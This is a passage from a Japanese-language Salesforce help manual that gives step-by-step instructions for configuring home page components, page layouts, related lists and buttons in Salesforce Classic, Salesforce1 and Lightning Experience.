トを作成または変更する
• 「アプリケーションの

カスタマイズ」

カスタムコンポーネントを使用して、ユーザ向けのSalesforce Classicホームページ
を設定できます。HTML、画像、リンクなどを追加してユーザの生産性を高める
ことができます。
作業を開始する前に
• カスタムリンクコンポーネントを作成する場合は、最初にホームタブのカス

タムリンクを定義します。「カスタムボタンとカスタムリンクの提供」 (ペー
ジ 6318)を参照してください。

• 画像コンポーネントを作成する場合は、最初に画像を [ドキュメント] タブに
アップロードします。

• Visualforce エリアコンポーネントを作成する場合は、最初に Visualforce ページ
を作成します。

1. [設定] から、[クイック検索]ボックスに「ホームページのコンポーネント」と
入力し、[ホームページのコンポーネント] を選択します。

2. [新規] をクリックします。
3. コンポーネントの名前を入力します。カスタムリンクの場合、この名前は [ホーム] タブのサイドバー内に

セクションヘッダーとして表示されます。
4. コンポーネントの種類を選択します。
5. [次へ] をクリックし、次の 1 つ以上の手順を実行します。

• リンクの場合は、適切なカスタムリンクを選択してから、[追加] をクリックします。
• 画像の場合は、[画像の挿入]をクリックし、ドキュメントフォルダを選択して、その画像ファイルを選

択します。画像ファイルは公開フォルダに置かれていることが必要です。また、画像をユーザに表示す
るには、ドキュメントのプロパティで [外部参照可] が有効になっている必要があります。

ヒント: パフォーマンスを最適化するため、画像サイズは 20 KB 未満にしてください。

• HTML エリアコンポーネントの場合は、表示場所として広い列か狭い列のいずれかを選択し、コンテン
ツを下のボックスに入力します。

メモ:  HTML エリアホームページコンポーネントでは、JavaScript、CSS、iframe、その他の高度なマー
クアップはサポートされません。JavaScript やその他の高度な HTML 要素をホームページコンポーネ
ントで使用するには、代わりに Visualforce エリアコンポーネントを使用することをお勧めします。

• Visualforceエリアコンポーネントの場合は、表示場所として広い列か狭い列のいずれかを選択し、Visualforce

ページを選択し、ページに高さを割り当てます。
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6. [保存] をクリックします。
ホームページコンポーネントを作成したら、ホームページレイアウトに追加する必要があります。「ホーム
ページのページレイアウトの設計」 (ページ 5251)を参照してください。

メモ: 狭い列のコンポーネントは、サイドバーに表示されます。Salesforce の他のページのサイドバーに
は、ユーザインターフェース設定で指定されているか、「全ページにカスタムサイドバーを表示」権限
が割り当てられている場合にのみ表示されます。

関連トピック:

Visualforce エリアホームページコンポーネント
ホームページのコンポーネントのヒントと考慮事項

Visualforce エリアホームページコンポーネント

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ホームページに動的なコンテンツを追加するには、Visualforce エリアホームペー
ジコンポーネントを使用します。たとえば、パートナーアプリケーションのコ
ンテンツの表示、レポートおよびダッシュボード REST APIによるグラフの表示、
ホームページへのキャンバスアプリケーションの追加を行うことができます。
コンポーネント用に選択した Visualforceページでは、標準コントローラまたはカ
スタムコントローラを使用できます。Visualforce ページに JavaScript を挿入できま
すが、コンポーネントはホームページレイアウトの iframe に表示されるため、
JavaScript はコンポーネントを含むページと連動できません。

使用サンプル
Visualforce エリアホームページコンポーネントがサイドバーに表示される場合、Visualforce マークアップで
$CurrentPage グローバル変数を使用することで、コンポーネントが表示されるページのレコード ID と最上
位 URL を動的に取得できます。
$CurrentPageを使用すると、parameters属性を指定してページのクエリ文字列パラメータにアクセスし、
その後、個別の各パラメータにアクセスできます。
$CurrentPage.parameters.parameter_name

レコード ID のパラメータは id、最上位ページ URL のパラメータは sfdcIFrameOrigin です。詳細は、
『Visualforce 開発者ガイド』の「クエリ文字列パラメータの取得」を参照してください。
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ホームページのページレイアウトの設計

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

ホームページのページレ
イアウトを表示する
• 「設定・定義を参照す

る」

ホームページのレイアウ
トを作成または変更する
• 「アプリケーションの

カスタマイズ」

[ホーム] タブに表示するコンポーネントを作成したら、ホームページのページレ
イアウトを設計します。組織およびユーザに固有のニーズに基づいて、レイア
ウトを設計できます。
1. [設定] から、[クイック検索]ボックスに「ホームページのページレイアウト」

と入力し、[ホームページのページレイアウト] を選択します。
2. 既存のレイアウトをクリックして編集するか、レイアウトを作成します。ま

たは、コピーするレイアウトを選択し、[コピー] をクリックします。
3. レイアウトを作成する場合は、名前を付けて [保存] をクリックします。
4. レイアウトに表示するコンポーネントを選択します。

• [記事の検索] コンポーネントを追加するには、[記事の検索] を選択しま
す。このコンポーネントは、Salesforce ナレッジユーザのみが使用できま
す。

• カスタマーポータルコンポーネントを追加するには、[カスタマーポータ
ルへようこそ]を選択します。私のプロファイルサイトVisualforceページが
有効になっている場合、このコンポーネントは個人用のお知らせメッセー
ジおよびポータルユーザのプロファイルへのリンクを含みます。[私のプ
ロファイル] ページは、Force.comサイトまたは Force.comサイトからカスタ
マーポータルのいずれかにログインしたユーザを有効化し、そのユーザの取引先責任者情報を更新しま
す。このページに変更を行った場合、対応するポータルユーザと取引先責任者レコードが更新されま
す。

• ユーザが一時停止したフローインタビューの再開をユーザに許可するには、[一時停止中のフローイン
タビュー] を選択します。このコンポーネントには、ユーザが一時停止したフローインタビューのみが
表示されます。

5. [次へ] をクリックします。
6. 幅の狭いコンポーネントおよび広いコンポーネントの表示順序をカスタマイズします。コンポーネントを

選択し、矢印ボタンを使用して移動します。
7. [保存] をクリックします

関連トピック:

プロファイルへの [ホーム] タブのページレイアウトの割り当て
[ホーム] タブのページレイアウトのカスタマイズ
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ホームページのコンポーネントのヒントと考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

Salesforce Classic の [ホーム] タブに表示するカスタムコンポーネントの作成時には
次の考慮事項に留意します。
• [編集] リンクのない標準コンポーネントは参照のみです。
• 狭い列に選択したコンポーネントは、サイドバーに表示されます。ユーザイ

ンターフェース設定で指定しない限り、これらのコンポーネントは Salesforce

の他のページのサイドバーには表示されません。すべてのページのサイド
バーコンポーネントを特定のユーザに対してのみ表示する場合は、「すべて
のページにカスタムサイドバーを表示」権限を対象ユーザに付与します。

• 標準のお知らせコンポーネントを編集する場合は、ユーザに表示するテキストを入力します。メッセージ
に HTML コードを入力する場合は、必ず自己完結型の適格な HTML を指定します。

メモ: 標準メッセージおよびアラートホームページコンポーネントでは、JavaScript、CSS、iframe、その
他の高度なマークアップはサポートされません。

• 標準のカスタムリンクホームページのコンポーネントを編集する場合は、ユーザに表示するリンクテキス
トを [ブックマーク] 項目に入力します。[URL] 項目で、「http://www.yahoo.com」などの完全な Web

サイトアドレスを入力します。Salesforce ページにリンクするには、「salesforce.com」の後に
「/00Ox0000000esq4」などの URL の一部を入力します。これらのリンクは、ポップアップウィンドウで
はなく、常に Salesforce のメインウィンドウで開きます。

• 標準のカスタムリンクホームページのコンポーネントを使用すれば、サイドバーにリンクをすばやく追加
できますが、カスタムリンクコンポーネントでは、差し込み項目、関数 (URLFOR など)、JavaScript の実行、
カスタマイズ可能なウィンドウの開始プロパティがサポートされません。この追加機能が必要な場合の手
順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「ホーム」と入力し、[カスタムリンク] を選択して、そのペー

ジに自分のホームページのカスタムリンクを作成します。
2. [設定] から、[クイック検索] ボックスに 「ホーム」と入力し、[ホームページのコンポーネント] を選択

して、最初のステップで作成したカスタムリンクを含むページに、リンクタイプのカスタムホームペー
ジのコンポーネントを作成します。リンク用のカスタムホームページのコンポーネントを作成しても、
エンドユーザに表示されるスタイルは変わりません。

• [ダッシュボードのスナップショット] コンポーネントには、ユーザが最後にアクセスしたダッシュボード
の上位 3 つのコンポーネントが表示されます。少なくとも 1 つのダッシュボードに対するアクセス権を持っ
ていれば、ユーザはダッシュボードのスナップショットを自分の [ホーム] タブに表示できます。

• カスタマーポータルのホームページのレイアウトを設計するときには、[検索]、[ソリューション検索]、[最
近使ったデータ]、[カスタマーポータルへようこそ] などのコンポーネントと、広い列に自社のブランド情
報を表示するカスタム HTML エリアコンポーネントを追加することをお勧めします。

関連トピック:

カスタムホームページコンポーネントの作成
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プロファイルへの [ホーム] タブのページレイアウトの割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

ホームページのレイアウ
トを割り当てる
• 「アプリケーションの

カスタマイズ」

ホームページのページレイアウトは、ユーザのプロファイルに割り当てた場合
にのみ、そのユーザに表示されます。
1. [設定] から、[クイック検索]ボックスに「ホームページのページレイアウト」

と入力し、[ホームページのページレイアウト] を選択します。
2. [ページレイアウトの割り当て] をクリックします。
3. [割り当ての編集] をクリックします。
4. 各プロファイルに適切なページレイアウトを選択します。

まず、カスタマーポータルユーザを含むすべてのユーザがホームページのデ
フォルトレイアウトに割り当てられます。

5. [保存] をクリックします。

ヒント: ユーザは [ホーム] タブの個人設定でダッシュボード設定をカスタ
マイズできます。

ページレイアウトの割り当て

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

ページレイアウトを使用
可能なエディション: すべ
てのエディション

レコードタイプを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ページレイアウトを定義したら、ユーザに表示されるページレイアウトを割り
当てます。ユーザに表示されるページレイアウトは、そのユーザのプロファイ
ルによって決まります。さらに、特定のタブにレコードタイプを使用している
組織では、ユーザのプロファイルとレコードタイプの組み合わせによって、表
示されるページレイアウトが決まります。
ページレイアウトは次の場所から割り当てることができます。
• オブジェクトのページレイアウトまたはレコードタイプのカスタマイズペー

ジ
• 元のプロファイルユーザインターフェースまたは拡張プロファイルユーザイ

ンターフェース
項目アクセス許可一覧表をチェックすることで、ページレイアウトと項目レベ
ルセキュリティに基づいてユーザに適切なアクセス権が割り当てられたことを
確認できます。

関連トピック:

ページレイアウト
元のプロファイルユーザインターフェースでのページレイアウトの割り当て
拡張プロファイルユーザインターフェースでのレコードタイプとページレイアウトの割り当て
ユーザごとのビジネスプロセスの調整
項目へのユーザアクセスの制御
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ページレイアウトのカスタマイズまたはレコードタイプページからのページレイアウトの
割り当て

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

ページレイアウトを使用
可能なエディション: すべ
てのエディション

レコードタイプを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ページレイアウトを割り
当てる
• 「プロファイルと権限

セットの管理」

1. 適切なオブジェクトの管理設定から、[ページレイアウト] または [レコードタ
イプ] に移動します。

2. [ページレイアウトの割り当て] をクリックします。
3. [割り当ての編集]をクリックします。
4. テーブルを使用して、各プロファイルのページレイアウトを指定します。

テーブルには、各プロファイルのページレイアウト割り当てが表示されま
す。組織でレコードタイプを使用している場合、マトリックスには、各プロ
ファイルとレコードタイプのページレイアウトセレクタが表示されます。
ページレイアウトの割り当てを選択する方法は次のとおりです。
• セル、列、または行のヘッダーをクリックして、その列または行のすべ

てのテーブルセルを選択する。
• Shift キーを押しながらクリックして、隣接する複数のセル、列、または行

を選択する。
• Ctrl キーを押しながらクリックして、隣接しない複数のセル、列、または

行を選択する。
• 任意のセルをクリックし、ドラッグしてセルの範囲を選択する。
• [次へ] または [前] をクリックして、別のレコードタイプセットを表示す

る。
選択されているページレイアウトが強調表示されます。変更するページレイ
アウトの割り当ては、変更を保存するまで斜体で表示されます。

5. 必要に応じて、別の割り当てページを [使用するページレイアウト] ドロップダウンリストから選択し、新
しいページレイアウトに対して前の手順を繰り返します。

6. [保存] をクリックします。

関連トピック:

ページレイアウトの割り当て
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商談商品の複数行レイアウトの編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

商談商品の複数行レイア
ウトを編集する
• 「アプリケーションの

カスタマイズ」

商談の詳細ページの [商品] 関連リストの [一括編集] をクリックしたときに表示
される列をカスタマイズできます。
1. 商談商品のオブジェクト管理設定から、[ページレイアウト] に移動します。
2. 商談商品ページレイアウトの名前の横にある [編集] をクリックします。
3. [複数行レイアウトの編集] をクリックします。
4. [選択可能な項目] および [選択済みの項目] 間で項目を移動します。

• レイアウトに表示する項目をカスタマイズするには、[選択可能な項目] で
1 つ以上の項目を選択して、[追加] または [削除] をクリックします。

• レイアウトで項目を並び替えるには、[選択済みの項目] で 1 つ以上の項目
を選択して、[上へ] または [下へ] をクリックします。

• 複数の項目を個別に選択するには、Ctrl キーを押しながらクリックしま
す。

• 複数の項目をグループとして選択するには、Shift キーを押しながらクリッ
クします。

5. 変更内容を適用するには、[保存] をクリックします。

カスタムオブジェクト用のページレイアウトの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムオブジェクトの
ページレイアウトを定義
する
• 「アプリケーションの

カスタマイズ」

ページレイアウトで、ユーザが参照できる項目を定義し、カスタムオブジェク
ト項目のデータを入力する時期を編集します。カスタムオブジェクトを作成す
るときに自動的に作成されるデフォルトのページレイアウトを使用してもかま
いません。また、関連リストおよびカスタムリンクを含む独自のページレイア
ウトを作成することもできます。カスタムオブジェクトにページレイアウトを
使用しない場合でも、Force.com APIを通じてカスタムオブジェクトと対話し、カ
スタムデータの管理やカスタムユーザインターフェースの構築ができます。
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1. カスタムオブジェクトのオブジェクト管理設定から、[ページレイアウト] に移動します。
2. [ページレイアウト] 関連リストで、既存のページレイアウトを開いて編集するか、新しいページレイアウ

トを作成します。
3. ページレイアウトを新規作成する場合は、ページレイアウトの名前を入力し、必要に応じて、既存のペー

ジレイアウトを選択してコピーします。
4. 他のページレイアウトと同じ方法でページレイアウトを編集します。
5. [保存] をクリックします。

関連トピック:

ページレイアウト
オブジェクト管理設定の検索

Salesforce1 でのページレイアウトの機能

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

高度なページレイアウトエディタを使用して、オブジェクトのレコード詳細ペー
ジのレイアウトをカスタマイズし、アクションを設定し、Salesforce1 に表示され
る項目と関連リストを調整します。
Salesforce1 では、ページレイアウトでモバイル環境の次の領域を決定します。
レコードの関連情報および詳細ページ

Salesforce1でレコードを参照する場合、レコードタイプやユーザのプロファイ
ルに基づいて、項目、Visualforceページ、および関連リストが表示されます。
関連リストは、ページまたは関連リストの名前が記載された 1 行のカードと
して表示されます。関連リストカードをタップすると、その詳細が表示され
ます。
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モバイルカード
ページレイアウトの [モバイルカード] セクションに拡張ルックアップ、コンポーネント、キャンバスアプ
リケーション、およびVisualforceページを追加すると、Salesforce1にモバイルカードとして表示できます。こ
のセクションに配置した要素は、Salesforce フルサイトのレコードの詳細ページには表示されません。これ
らは、Salesforce1 のレコードの関連情報ページにのみ表示されます。

メモ: Spring '14 より後に作成された組織では、ページレイアウトの [モバイルカード] セクションに、サ
ポートオブジェクトとして Twitter コンポーネントがデフォルトで追加されます。

アクション
Salesforce1では、ページレイアウトの [Salesforce1および Lightning Experienceアクション]セクションのアクショ
ンは、オブジェクトのレコードページのアクションバーとアクションメニューに表示されます。

サンプル取引先 Edge Communications のレコード詳細ページ、関連情報ページ、アクションメニューは、次のよ
うになります。
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Lightning Experience のページレイアウト

エディション

使用可能なエディション:
Lightning Experience

ページレイアウトを使用
可能なエディション: すべ
てのエディション

ページレイアウトの作成
および削除に使用可能な
エディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Salesforce Classic でオブジェクトレコードページをカスタマイズすると、Lightning

Experienceのオブジェクトレコードページの内容に影響します。ただし、Lightning

Experienceではページ要素が異なって表示され、一部はサポートされていません。
複数のページレイアウトをサポートする組織では、オブジェクトマネージャで
任意のオブジェクトの [ページレイアウト] 関連リストからページレイアウトを
直接作成できます。また、[ページレイアウト] 関連リストのページレイアウトで

をクリックして、オブジェクトのページレイアウトを編集または削除する
こともできます。
次に、Lightning Experience での取引先責任者レコードのサンプルを示します。レ
コードの重要な項目が含まれる強調表示パネルは、ページレイアウトエディタ
を使用してカスタマイズできないレコードページの唯一の部分です。強調表示
パネルの項目をカスタマイズするには、コンパクトレイアウトを使用します。

次のページレイアウト要素は Lightning Experience でサポートされています。
アクション

アクションは、強調表示パネル、[活動] タブ、[コラボレーション] タブなど、異なる場所に表示されます。
アクションは、ページレイアウトの [Salesforce1および Lightning Experienceアクション] セクションにあるアク
ションのリストから派生します。一部のアクションは、Lightning Experience でサポートされていません。
詳細は、「Lightning Experience のアクション」 (ページ 6294)を参照してください。

キャンバスアプリケーション
キャンバスアプリケーションは、Lightning Experience でサポートされています。

カスタムリンク
カスタムリンクは、[詳細] タブの下に表示されます。

5258

項目へのユーザアクセスの制御コードではなくてクリックによる Salesforce の拡張



項目
項目は、[詳細] タブの下に表示されます。ページレイアウトの項目の削除または順序変更に使用できるの
は、ページレイアウトエディタのみです。

関連リスト
Lightning Experience では、関連リストが Lightning コンポーネントとして含まれています。すべての関連リス
トが Lightning Experience でサポートされているわけではありません。たとえば、[オブジェクト 履歴] 関連リ
ストはサポートされていません。

標準ボタンとカスタムボタン
標準ボタンとカスタムボタンは、Salesforce1 の場合と同様に、Lightning Experience でアクションとして処理さ
れます。

重要: JavaScript をコールするカスタムボタンは、Lightning Experience ではサポートされていません。

Visualforce ページ
ページレイアウトに追加したVisualforceページは、[詳細] タブの下に表示されます。Lightning Experienceでは、
[Salesforce モバイルアプリケーションおよび Lightning ページでの使用が可能] が有効になっている
Visualforce ページのみが表示されます。
[モバイルカード] セクションにコンポーネントとして配置された Visualforce ページは、Lightning Experience で
は表示されません。

次のページレイアウト要素は Lightning Experience ではサポートされていません。
• 空白スペース
• 拡張ルックアップ
• モバイルカード

メモ: Lightning Experienceで取引先、取引先責任者、およびリードのレコードページに表示される Twitter

カードは、ページレイアウトエディタでモバイルカードとして使用できる Twitter コンポーネントとは
異なります。Lightning Experience の Twitter カードは、Lightning コンポーネントです。ソーシャル取引先
と取引先責任者を表示するには、有効にする必要があります。

• Sコントロール
• セクション
• タグ

メモ: Lightning Experienceのレコードホームページのレイアウトのカスタマイズには、高度なページレイア
ウトエディタを使用できません。

関連トピック:

Lightning Experience の活動コンポーザの [電話]、[ToDo]、[行動] タブの設定
Lightning Experience の活動コンポーザのメールアクションの設定
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Salesforce1 でページレイアウトを最適化するためのヒント

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

既存のページレイアウトをモバイルで使用しやすくするヒントと使用方法につ
いて説明します。
数十個の項目と多くの関連リストが表示されるページレイアウトは、コンピュー
タの画面でレコードを表示するときは処理しやすい場合もありますが、小さい
モバイルデバイスでは同じレコードの表示には全く適さない可能性があります。
モバイルデバイスを使用して情報にアクセスするユーザは必要な情報をすばや
く入手する方法を求めています。数百の項目や関連リストから取捨選択させる
ことは意味がありません。
ページレイアウトを最適化するときに、次の点に留意してください。
• 一目でわかるようにすべき重要な情報は?

• Salesforce1 で作業するユーザにとって重要なタイミングは?

• ユーザの手動による処理を不要にするために自動化できるアクションまたはプロセスは?

重要: 項目を整理し、最小限にする
• セクションを使用して情報を論理的に整理します。最も重要な情報は、最初に表示されるようにページ上

部に配置します。項目を個別に検索することは好ましくありません。類似した項目をセクションで整理す
ると、必要な情報が見つかりやすくなります。これにより、関心があるセクションまでページを容易に下
へスクロールできます。

• 取引先、取引先責任者、リードの場合、上部付近に電話項目やメール項目を配置する必要はありません。
これらの項目にはすでに、各レコードページのアクションバーにある および アイコンを使用してす
ばやくアクセスできるようになっています。

• ページは参照しているデバイスに基づいて動的に表示されるため、項目を 1 列に揃える必要はありません。
電話では項目が 1 列に並び替えられ、タブレットまたはデスクトップでは 2 列で表示されます。

• 最も重要な項目をコンパクトレイアウトに配置します。コンパクトレイアウトでは、Salesforce1のレコード
の特長とレコードプレビューカードを利用できます。そのため、項目が目につきやすく、モバイルユーザ
がレコード詳細までドリルダウンする必要はありません。コンパクトレイアウトの詳細については、後ほ
ど説明します。

• 必須項目数は最小限にします。項目を必須に設定すると、すべてのページレイアウトの詳細ページに表示
されることになります。そのため、各項目が本当に必須かどうかを検討してください。レコードの特定の
項目は実際には保存する必要はないことを関係者に知らせる必要がある場合があります。

• すべてのレコードに共通するとは限らない項目をすべてのレコードで表示する必要がないように、組織で
利用可能な場合はレコードタイプの使用を検討してください。

• 画面に表示するレコード数を削減するには、ユーザにデータを入力させる代わりに、新しいレコードにデ
フォルト値を使用することを検討してください。
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高度なページレイアウトエディタでのモバイルカードの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

ページレイアウトを参照
する
• 「設定・定義を参照す

る」

ページレイアウトの [モバイルカード] セクションに、拡張ルックアップ、コン
ポーネント、Visualforceページを追加することで、Salesforce1にモバイルカードと
して表示できます。
[モバイルカード] セクションに配置した項目は、Salesforceフルサイトのレコード
の詳細ページには表示されず、Salesforce1 のレコードの関連情報ページにのみ表
示されます。
これらの種類の要素は、ページレイアウトの [モバイルカード] セクションに追
加できます。
• コンポーネント
• 拡張ルックアップ
• Visualforce ページ
• キャンバスアプリケーション
一部の標準オブジェクトには、デフォルトでモバイルカードが追加されていま
す。ページレイアウトをカスタマイズして、そのカードを削除したり他のカー
ドを追加したりできます。
1. ページレイアウトエディタにアクセスします。
2. [拡張ルックアップ]、[コンポーネント]、[Visualforceページ]、または [キャンバ

スアプリケーション] カテゴリから、要素を [モバイルカード] セクションに
ドラッグします。

3. ページレイアウトを保存します。
レイアウトを保存すると、追加した項目が Salesforce1 にすぐに表示されます。変更を表示するために、更新す
る必要がある場合があります。
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関連リストのカスタマイズ

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

関連リストをカスタマイ
ズする
• 「アプリケーションの

カスタマイズ」

Salesforce および Salesforce カスタマーポータルのレコード詳細ページにある関連
リストのボタン、表示される列、列の順序、およびレコードの並び替え順はカ
スタマイズできます。
1. ページレイアウトエディタにアクセスします。
2. レイアウトで編集する関連リストをダブルクリックします。高度なページレ

イアウトエディタを使用している場合は、レンチアイコン ( ) もクリックし
ます。

メモ:  [履歴] 関連リストにはデータが格納されていないため、カスタマ
イズできません。[履歴] 関連リストは別の場所に格納されているデータ
にリンクされています。

3. 関連リストに含める項目を選択して、項目を表示する順序を定義します。関
連リストごとに 10 項目まで含めることができます。

メモ: 関連リストの最初の項目は、レコードの一意の識別子であるた
め、移動できません。
ロングテキストエリア型のカスタム項目を関連リストに追加できます。
ただし、ロングテキストエリア型の一部の標準項目は追加できません。
たとえば、商談の説明項目は関連リストに追加できません。
デフォルトの並び替え順は、レコードごとに異なります。活動および商
談商品には [並び替え基準] ドロップダウンリストを使用できません。
参照項目は、それぞれ対応するルックアップ関連リストでは表示できま
せん。たとえば、取引先ページレイアウトのケース参照項目は、ケース
関連リストの編集時には表示できません。

4. 必要に応じて、関連リストのカスタマイズを適用する他のページレイアウトを選択します。
この関連リストを含むレイアウトのみが、リストに表示されます。現在のレイアウトを開いたときに設定
されていたカスタマイズと同じカスタマイズの関連リストを含むレイアウトが、デフォルトで選択されま
す。

5. [ボタン] セクションの [+]をクリックして、関連リストに表示する標準およびカスタムボタンをカスタマイ
ズします。

メモ: カスタムボタンは、親オブジェクトではなく関連リストに含まれるオブジェクトに対して定義
する必要があります。また、ボタンの [種別] は [リストボタン] を選択する必要があります。たとえ
ば、取引先の [取引先責任者] 関連リストにカスタムボタンを表示するには、カスタムボタンを取引先
ではなく取引先責任者に対して定義します。

6. 必要に応じて、[デフォルトに戻す] をクリックして、カスタマイズを取り消し、関連リストでデフォルト
の Salesforce 設定を使用します。

7. カスタマイズ内容を保存するには、[OK] をクリックします。ページレイアウトを保存するまで変更は保存
されません。

5262

項目へのユーザアクセスの制御コードではなくてクリックによる Salesforce の拡張



8. ユーザのディスプレイがすでにカスタマイズされている場合でも、ページレイアウトの関連リストをすべ
てのユーザに適用するには [ユーザのカスタマイズされた関連リストを上書き] をクリックします。

9. ページレイアウトを保存します。

関連トピック:

項目へのユーザアクセスの制御

詳細ページボタンのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

詳細ページボタンをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

ページレイアウトをカスタマイズする際に、表示する標準ボタンとカスタムボ
タン、およびそれらの表示順序を指定できます。レコードの詳細ページでボタ
ンをカスタマイズする手順は、次のとおりです。
1. カスタマイズするページレイアウトが含まれるオブジェクトの管理設定か

ら、[ページレイアウト] に移動します。
2. カスタマイズするページレイアウトの横にある [編集] をクリックします。
3. 次のいずれかの操作を実行します。

• 従来のページレイアウトエディタの、ボタンセクションで [詳細ページボ
タン] 項目をダブルクリックします。
– 標準ボタンを非表示にするには、ボタン名の横にあるチェックボック

スをオフにします。
– カスタムボタンを追加または削除するには、[利用可能なボタン] リス

トで目的のボタンを選択してから [追加] または [削除] をクリックしま
す。

– カスタムボタンを選択し、[上へ] または [下へ] をクリックして並び替えます。
– カスタマイズを取り消して、デフォルトの設定に戻すには [デフォルトに戻す] をクリックします。
– 完了したら、[OK] をクリックしてポップアップウィンドウを閉じます。

• 高度なページレイアウトエディタの場合、カスタムボタンまたは標準ボタンをページレイアウトに追加
するには、パレットから [ボタン] カテゴリを選択し、1 つ以上のボタンをパレットからページレイアウ
トのボタンセクションにドラッグします。標準ボタンは標準ボタンエリアに、カスタムボタンはカスタ
ムボタンエリアに置く必要があります。標準ボタンまたはカスタムボタンをページレイアウトから削除
するには、ボタンをパレットにドラッグします。

4. ページレイアウトで [保存] をクリックします。
5. [保存] をクリックします。

関連トピック:

標準ボタンとタブのホームページの上書き
カスタムボタンとカスタムリンクの定義
オブジェクト管理設定の検索
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従来のページレイアウトエディタを使用したページレイアウトのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

従来のページレイアウトエディタとを使用すると、Salesforce、セルフサービス
ポータル、および Salesforce カスタマーポータルの詳細ページと編集ページに適
用しているページレイアウトをカスタマイズできます。

メモ: Salesforce では、従来のページレイアウトエディタではなく、高度な
ページレイアウトエディタの使用をお勧めします。

1. ページレイアウトエディタにアクセスします。
• 標準オブジェクトのページレイアウトの編集
• カスタムオブジェクトおよび外部オブジェクトのページレイアウトの編

集

2. タグを有効にしている場合は、個人タグおよび公開タグをページレイアウト
のヘッダーセクションに含めるかどうかを指定します。個人タグおよび公開
タグのどちらもヘッダーセクションに含まれていない場合は、レコードにタ
グを付けることはできません。
• 個人タグまたは公開タグを追加するには、[ビュー] ドロップダウンリストからヘッダーアイテムを選択

し、個人タグアイテムまたは公開タグアイテムをヘッダーセクションにドラッグします。ヘッダーセク
ションに個人タグと公開タグを同時に表示する場合、表示される順番を変更することはできません。

• タグを削除するには、個人タグアイテムおよび公開タグアイテムをヘッダーセクションから [ビュー] ド
ロップダウンリストの下のエリアにドラッグします。

3. ボタンをカスタマイズするには、[ボタン] セクションで [詳細ページボタン] をダブルクリックします。
• 標準ボタンを非表示にするには、ボタン名の横にあるチェックボックスをオフにします。
• カスタムボタンを追加または削除するには、[利用可能なボタン] リストで目的のボタンを選択してから

[追加] または [削除] をクリックします。
• カスタムボタンを並び替えるには、そのカスタムボタンを選択し、[上へ] または [下へ] をクリックしま

す。
• カスタマイズを取り消して、デフォルトの設定に戻すには [デフォルトに戻す] をクリックします。
• ポップアップを閉じるには [OK] をクリックします。

4. レイアウトの項目、カスタムSコントロール、Visualforceページ、カスタムリンク、および関連リストの位置
を調整するには、右側のボックスから項目を選択し、目的の位置までドラッグします。ページレイアウト
には、最大 20 個の Sコントロール、最大 20 個の Visualforce ページ、最大 20 個の拡張ルックアップ、最大 100

個の関連リストをドラッグできます。項目およびカスタムリンクには制限はありません。
• 複数の項目を個別に選択するには、Ctrl キーを押しながらクリックします。
• 複数の項目をグループとして選択するには、Shift キーを押しながらクリックします。

メモ:

• ページレイアウトを作成しようとしているオブジェクトに対して Visualforce ページ上に標準制御項
目が設定されている場合に限り、Visualforce ページをページレイアウトに追加できます。オブジェ
クトに対して標準制御項目が設定されている Visualforce ページがない場合、[Visualforce ページ] カテ
ゴリはパレットに表示されません。
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• ページレイアウトに入っていない項目は、右側にあるスクロールボックスに表示されます。
• 凡例を使用して、どの項目が必須項目または連動項目、制御項目であるかを判断したり、どの項目

がページレイアウトの決定に影響する属性を持つかを判断します。

5. 必須項目および参照のみの項目を設定するには、1 つ以上の項目を選択してから [プロパティを編集] をク
リックします。
• 標準項目の項目属性には、変更できないものがあります。カスタム項目は、必須項目以外であれば変更

できます。
• 参照のみに設定された項目は、システム管理者および「参照のみ項目の編集」権限を持つユーザであれ

ば必要に応じて編集できます。
• 選択リストの項目を参照のみに設定すると、すべての新規レコードには、その選択リストのデフォルト

値が入ります。
• 自動採番の項目は、常に参照のみになります。
• 商談の [確度] 項目を参照のみに設定した場合でも、ユーザが商談の [フェーズ] の値を変更すると、

[確度] の値は自動的に更新されます。
• Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition では、項目

レベルセキュリティの制限がページレイアウトの設定よりも厳しい場合、ここで設定した項目プロパ
ティは項目レベルセキュリティの設定で上書きされます。

6. Sコントロールまたは Visualforce ページのプロパティを変更するには、ダブルクリックして次の属性を設定
します。
• [幅] に横のサイズをピクセル数またはパーセントで指定します。
• [高さ] に縦のサイズをピクセル数で指定します。
• [スクロールバーを表示] には、Sコントロールを表示する iFrame にスクロールバーを必要に応じて付加

するかどうかを指定します。
